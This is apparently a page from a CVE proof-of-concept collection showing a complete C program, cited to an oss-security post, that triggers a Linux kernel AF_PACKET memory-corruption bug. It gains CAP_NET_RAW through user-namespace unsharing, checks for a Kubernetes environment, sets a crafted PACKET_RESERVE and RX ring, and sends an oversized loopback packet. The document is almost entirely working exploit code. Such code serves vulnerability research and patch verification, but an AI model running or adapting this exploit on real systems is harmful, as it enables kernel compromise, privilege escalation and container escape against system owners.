4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-cap-net-raw.c C
/* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */
#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>


bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}


void setup_unshare() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWNET)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}
}

void prep() {
	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}



int main(int argc, char **argv)
{
	int skip_unshare = 0;
	struct stat stbuf;

	if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0)
	  skip_unshare = 1;
	else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0)
	  skip_unshare = 1;
	
	if (!skip_unshare)
	  setup_unshare();

    prep();

	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
	if (s < 0)
	{
		perror("socket");
		return 1;
	}

	int v = TPACKET_V2;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VERSION)\n");
		return 1;
	}

	v = 1;
	rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_VNET_HDR)\n");
		return 1;
	}

	v = 0xffff - 20 - 0x30 -7;
	rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
	if (rv < 0)
	{
		perror("setsockopt(PACKET_RESERVE)\n");
		return 1;
	}

	struct tpacket_req req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = 0x800000;
	req.tp_frame_size = 0x11000;
	req.tp_block_nr = 1;
	req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}


	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	uint32_t size = 0x80000/8;
	char* buf = malloc(size);
	if(!buf)
	{
		perror("malloc\n");
		exit(EXIT_FAILURE);
	}
	memset(buf,0xce,size);
	loopback_send(buf,size);

	return 0;
}